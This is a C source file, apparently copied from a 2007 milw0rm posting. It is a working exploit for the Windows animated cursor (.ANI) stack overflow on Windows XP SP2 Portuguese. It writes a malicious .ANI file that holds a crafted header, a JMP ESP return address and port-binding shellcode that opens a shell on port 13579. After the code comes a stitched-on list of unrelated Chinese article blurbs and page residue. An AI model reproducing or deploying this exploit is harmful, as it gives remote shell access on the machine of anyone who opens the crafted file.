/*
.ANI exploit tested on Windows XP SP2 - Portuguese
Shellcode port bind 13579
JMP ESP Addr - ntdll.dll
Greetz: Marsu, Devcode, Str0ke, Dave, Sekure.org guys, Sauna.
Exploit coded listen sauna hits
Featuring Luiz Zanardo's gigs "Minoide -?/x52/x49/x46/x46/x00/x04/x00/x41" @ www.myspace.com/fuzzyproject
Breno Silva Pinto
bsilva[at]Sekure.org
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
unsigned char aniheader[] =
"/x52/x49/x46/x46/x00/x04/x00/x00/x41/x43/x4F/x4E/x61/x6E/x69/x68"
"/x24/x00/x00/x00/x24/x00/x00/x00/xFF/xFF/x00/x00/x0A/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x10/x00/x00/x00/x01/x00/x00/x00/x54/x53/x49/x4C/x03/x00/x00/x00"
"/x10/x00/x00/x00/x54/x53/x49/x4C/x03/x00/x00/x00/x02/x02/x02/x02"
"/x61/x6E/x69/x68/xA8/x03/x00/x00";
unsigned char Shellcode[] =
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/x29/xc9/x83/xe9/xaf/xd9/xee/xd9/x74/x24/xf4/x5b/x81/x73/x13/x8f"
"/x35/x37/x85/x83/xeb/xfc/xe2/xf4/x73/x5f/xdc/xca/x67/xcc/xc8/x7a"
"/x70/x55/xbc/xe9/xab/x11/xbc/xc0/xb3/xbe/x4b/x80/xf7/x34/xd8/x0e"
"/xc0/x2d/xbc/xda/xaf/x34/xdc/x66/xbf/x7c/xbc/xb1/x04/x34/xd9/xb4"
"/x4f/xac/x9b/x01/x4f/x41/x30/x44/x45/x38/x36/x47/x64/xc1/x0c/xd1"
"/xab/x1d/x42/x66/x04/x6a/x13/x84/x64/x53/xbc/x89/xc4/xbe/x68/x99"
"/x8e/xde/x34/xa9/x04/xbc/x5b/xa1/x93/x54/xf4/xb4/x4f/x51/xbc/xc5"
"/xbf/xbe/x77/x89/x04/x45/x2b/x28/x04/x75/x3f/xdb/xe7/xbb/x79/x8b"
"/x63/x65/xc8/x53/xbe/xee/x51/xd6/xe9/x5d/x04/xb7/xe7/x42/x44/xb7"
"/xd0/x61/xc8/x55/xe7/xfe/xda/x79/xb4/x65/xc8/x53/xd0/xbc/xd2/xe3"
"/x0e/xd8/x3f/x87/xda/x5f/x35/x7a/x5f/x5d/xee/x8c/x7a/x98/x60/x7a"
"/x59/x66/x64/xd6/xdc/x66/x74/xd6/xcc/x66/xc8/x55/xe9/x5d/x02/x8e"
"/xe9/x66/xbe/x64/x1a/x5d/x93/x9f/xff/xf2/x60/x7a/x59/x5f/x27/xd4"
"/xda/xca/xe7/xed/x2b/x98/x19/x6c/xd8/xca/xe1/xd6/xda/xca/xe7/xed"
"/x6a/x7c/xb1/xcc/xd8/xca/xe1/xd5/xdb/x61/x62/x7a/x5f/xa6/x5f/x62"
"/xf6/xf3/x4e/xd2/x70/xe3/x62/x7a/x5f/x53/x5d/xe1/xe9/x5d/x54/xe8"
"/x06/xd0/x5d/xd5/xd6/x1c/xfb/x0c/x68/x5f/x73/x0c/x6d/x04/xf7/x76"
"/x25/xcb/x75/xa8/x71/x77/x1b/x16/x02/x4f/x0f/x2e/x24/x9e/x5f/xf7"
"/x71/x86/x21/x7a/xfa/x71/xc8/x53/xd4/x62/x65/xd4/xde/x64/x5d/x84"
"/xde/x64/x62/xd4/x70/xe5/x5f/x28/x56/x30/xf9/xd6/x70/xe3/x5d/x7a"
"/x70/x02/xc8/x55/x04/x62/xcb/x06/x4b/x51/xc8/x53/xdd/xca/xe7/xed"
"/xf1/xed/xd5/xf6/xdc/xca/xe1/x7a/x5f/x35/x37/x85";
int main( int argc, char **argv ) {
char Buffer[1024];
FILE *f;
if ( argc < 2 ) {
printf("usage %s <file.ani>/n",argv[0]);
return 0;
}
memset( Buffer, 0x90, sizeof( Buffer ) );
memcpy( Buffer, aniheader, sizeof( aniheader ) - 1 );
memcpy( Buffer + 168, "/xed/x1e/x94/x7c", 4 ); // JMP ESP - NTDLL. Hey Dave ... this is for you brotha!
memcpy( Buffer + 198, Shellcode, sizeof( Shellcode ) - 1 );
f = fopen( argv[1], "wb" );
if ( f == NULL ) {
printf("Cannot create file/n");
return 0;
}
fwrite(Buffer, 1, 1024, f);
fclose(f);
printf(".ANI file created!/n");
return 0;
}
// milw0rm.com [2007-04-09]
相关推荐
游戏开发实战:如何用旋转矩阵实现2D角色平滑转向(附Unity代码)
本文深入探讨了在Unity游戏开发中,如何运用旋转矩阵原理实现2D角色的平滑转向。文章从核心理论出发,提供了计算目标旋转、实现平滑插值(Lerp与SmoothDamp)的完整C#代码,并解决了与动画系统、物理引擎协同的常见难题,帮助开发者提升游戏操作手感与视觉流畅度。
Windows Animated Cursor Stack Overflow Vulnerability
Windows Animated Cursor Stack Overflow VulnerabilityCVE id: CVE-2007-0038Vendor notification: Dec 20, 2006Public disclosure: Mar 28, 2007Determina advisory: Mar 31, 2007Vendor patch: Apr 3, 2
《商用密码应用与安全性评估》第四章密码应用安全性评估实施要点4.1密码应用方案设计
密码应用方案设计
循环嵌套(多层 for 循环)
表:order(订单表,order_id, user_id)、user(用户表,user_id, user_name)✅ 优化:先查所有订单,拿到所有 user_id 批量 in 查询,内存 join。✅ 优化:先把优惠券转 HashMap,单层循环查找(hash 查找 O (1))SQL 只有 2 次,O (1) 数据库查询,内存遍历 O (n)。需求:查询所有订单列表,同时带出每个订单对应的用户名称。需求:订单列表、优惠券列表,把订单匹配对应的优惠券名称。复杂度:O (M+N),非常快。
Ubuntu 22.04 “软件与更新”装了NVIDIA驱动,WiFi等设备不见了
在Win10装了Ubuntu22.04的双系统,台式机里面有NVIDIA 3080Ti的独立显卡,Ubuntu默认使用的nouveau驱动,需要更换成NVIDIA相应的驱动,在软件和更新里面一键安装了NVIDIA-driver-535-server之后,发现wifi、蓝牙等设备消失了。这个问题的根源据说跟这个nouveau驱动有关,希望linux社区可以解决这个问题。命令安装后 sudo reboot就可以重新看到WiFi以及蓝牙等设备图标了。然后用U盘拷贝到不能上网的Ubuntu22.04系统上,利用。
VisionPro开发实战:CogRecordDisplay控件显示与保存图片的完整流程(附C#代码示例)
本文详细解析了VisionPro开发中CogRecordDisplay控件的图像处理全流程,包括图像加载、显示优化、动态清屏及结果保存等关键操作。通过C#代码示例,展示了如何高效使用该控件进行工业视觉应用开发,特别适合自动化检测系统的开发者参考。
Python+Agent入门笔记(六):记忆和状态,从“一次性问答”到“能用助手”
滑动窗口的缺点很明显:被扔掉的信息就真没了。如果用户第一轮说“我不吃辣”,隔了二十轮让他推荐餐厅,模型已经忘了。定期把旧的对话压缩成一段总结,作为一条特殊的消息插进去。"""把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。"""# 把旧消息拼成纯文本,让模型总结content = f"[工具结果]把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。
Fofa API高阶玩法:用Python批量获取漏洞资产(含OA系统扫描实战)
本文详细介绍了如何利用Python结合Fofa API实现自动化漏洞资产收集的高阶实战技巧。通过构建健壮的客户端、设计精准查询语法、实现多线程批量采集,并以OA系统漏洞扫描为例,演示了从资产发现、过滤验证到报告生成的全流程,旨在提升安全运维与应急响应的效率。
【数据结构-5】单链表的实现
单链表,具体来说是单向的、不带头的、不循环的链表。链表由一个一个节点组成,每个节点分为数据域和指针域,数据域存放数据,指针域存放下一节点的地址。这样,就可以根据指针域中的地址找到下一个节点,节点就串起来了构成了单链表。
hive sql每个用户的累积访问次数
我们有如下的用户访问数据 userId visitDate visitCount u01 2017/1/21 5 u02 2017/1/23 6 u03 2017/1/22 8 u04 2017/1/20 3 u01 2017/1/23 6 u01 2017/2/21 8 U02 2017/1/23 6 U01 2017/2/22 4 要求使用SQL...
激光雷达与相机时间戳同步:原理、触发方案与工程实现
目录一、引言:时间不同步,多传感器融合必出问题二、核心原理:相机成像机制与触发模式(同步的基础)2.1 相机成像的两个核心阶段:曝光与读出(1)非交叠曝光(2)交叠曝光2.2 相机触发模式:内触发 vs 外触发(1)内触发(2)外触发2.3 关键信号:Strobe信号与预输出(同步的核心技巧)三、三种主流时间戳同步方案(工程落地首选)3.1 方案一:统一硬触发(精度最高,高端场景首选)核心原理核心配置要点优缺点适用场景3.2 方案二:软触发+硬触发(Strobe预输出,车载量产首选)核心原理核心配置要点优缺
C++ 入门笔记(十七):list 入门 —— 为什么 list 不能 sort?
第17课:用大白话讲清 list 的双向链表结构、哨兵头、push_back 四步、迭代器封装、merge 与 splice 的区别,以及 vector 排序为什么常比 list 快。
YOLOv12改进前必看 - YAML模型配置文件详细解读(再也不用担心通道数不匹配) 附网络结构图
YOLOv12的模型配置文件在中,里面包含yolov12的以及的不同大小的模型,本文将详细介绍一下YOLOv12模型文件中各参数的含义。
C# 数据结构和特殊类型
.NET Core(现称.NET)提供丰富数据结构,优化性能与开发效率。日常开发首选List<T>和Dictionary<TKey,TValue>;高性能场景推荐Span<T>与Memory<T>减少内存分配;并发环境使用ConcurrentDictionary等线程安全集合;避免非泛型集合如ArrayList。
SAP B1中文培訓教材_SDK
公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说
温度PID控制PLC程序
温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值
list
的底层是双向链表结构,双向链表中每个元素存储在互不相关的独立节点中,在节点中通过指针指向其前一个元素和后一个元素。,因此反向迭代器的实现可以借助正向迭代器,即:反向迭代器内部可以包含一个正向迭代器,对正向迭代器的接口进行包装即可。是可以在常数范围内在任意位置进行插入和删除的序列式容器,并且该容器可以前后双向迭代。迭代到该位置,在这段位置上迭代需要线性的时间开销;最大的缺陷是不支持任意位置的随机访问,比如:要访问。还需要一些额外的空间,以保存每个节点的相关联信息。个元素,必须从已知的位置。
win10 跳过U8环境检测的IE WebControls.rar
win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。
软件商店常见问题标准处理流程
从底层软件源来看,/etc/apt/sources.list配置错误、源地址失效、公网与内网离线源混用、ARM64与x86_64架构源串用,以及DNS解析异常、系统代理配置错误,都会导致商店无法获取应用数据;打开该应用,确认可正常运行;软件商店作为系统内置的图形化软件分发与安装入口(UKUI桌面配套组件,底层依赖APT软件源),承担着应用软件的浏览、搜索、下载、安装、升级与卸载等核心功能,是终端软件部署与管理的关键通道。覆盖软件商店启动、页面加载、应用下载、安装、卸载、搜索、自身更新等全部业务场景。
【AI 开发从入门到进阶 · 10】收官篇:LoRA 微调、模型评估、推理加速与生产部署全链路
本文系统梳理了大模型微调与生产落地的全流程,从决策是否微调、优选LoRA技术方案,到代码实现、效果评估、推理加速与FastAPI服务封装,最终构建可迭代的生产级AI系统。强调“逐级升级”原则,倡导以数据闭环驱动优化,避免技术冲动。全系列贯穿工程化思维,提供可复用模板与实战建议,助力开发者从模型训练迈向稳定可用的AI服务部署。
LangGraph(03):状态归约、并行更新与消息管理
并行节点写入报错?历史消息无法清理?本文拆解 LangGraph 状态归约与消息增删改机制,带你精确控制复杂工作流状态。
ARIA规范
ARIA用来补充原生HTML缺失的语义,原则:优先原生标签,ARIA仅做补充。 ARIA角色role:定义组件身份,分为地标角色、构件角色、文档角色;构件角色用于自定义弹窗、tab、下拉菜单等复杂组件; ARIA状态与属性:以aria-开头,描述组件实时状态;常用:aria-label、aria-labelledby、aria-describedby、aria-hidden、aria-expanded、aria-selected、aria-modal、aria-live; 常用场景:图标按钮用aria-l
LangGraph 的分离思想总结
LangGraph 的分离思想,本质上是对"高内聚、低耦合"这一经典工程原则在 LLM 应用领域的落地。它通过状态与逻辑分离、节点职责分离、控制流与执行分离、计算与持久化分离、编排与实现分离五个层面,把一个难以维护的"大黑盒"拆解成一组可组合、可测试、可观测的部件。理解这套分离思想,比记住 API 更重要——因为当你面对新的智能体场景时,真正指导你做出合理拆分的,正是这些分离原则。
Java基础:泛型、类型擦除与 PECS 原则
泛型允许类、接口和方法使用类型参数,把许多类型检查提前到编译期,减少显式类型转换,提高代码复用性。例如。
To-Do List 的「修改」功能与 CSS 定位
买牛奶</td><td index="1">写作业</td><td index="2">跑步
LikeShop 取消订单优惠券自动退回二开:未支付取消券自动返还,不用人工补发
本文分析了LikeShop订单取消时优惠券退回机制的原生缺陷,提出通过引入独立事务、退回流水表与三重幂等防护,实现券退回的可追溯、防重复、防过期。核心策略为:订单取消后异步触发退券事件,基于条件更新与唯一约束保障并发安全,过期券不退回但记录跳过原因,确保用户体验与系统一致性。
Java Arrays.asList 常见坑详解|UnsupportedOperationException、数组联动、基本类型 bug
解析 Arrays.asList 常见开发陷阱,演示 UnsupportedOperationException、底层数组引用共享、基本类型数组问题,区分 Arrays 内部 ArrayList 与 java.util.ArrayList,给出数组转 List 的各种场景正确代码。
本地chatbot4--引入LangGraph
上一节实现了chatbot的连续调用工具的功能,但目前流程还是提示词→模型→解析→调用工具(可选)→输出线性的一条路走到底(LangChain)只适合简单线性任务(问答、摘要、简单RAG)agent的本质是:“模型决定调工具→执行→结果喂回模型→再决定……直到完成”。举例:读日志 → 解析 ─失败→ 重试(≤3次) ─→ 退出│成功↓算统计 → 对比历史 → 生成报告 → [人工审核卡点] → 发送。
泛型实现启示(二):实例化共享
类型实参没有消失,只是换了个地方存。代码共享之后,Go 1.18 把字典当额外参数传,NLang 把它登记成进程级驻留的描述符。本文拆共享的那一半:规范拼写与驻留怎么判定实例化身份,描述符何时写进对象、又怎么被 typeName 读出来,并对照 Swift 元数据唯一性与 Go 的字典分工,落到 NLang 0.13.x 类记录、描述符表、旁表与拼接记录的具体实现。
上万数据的批量插入
当数据达到上万上十万的时候,如何批量插入
291



被折叠的 条评论
为什么被折叠?



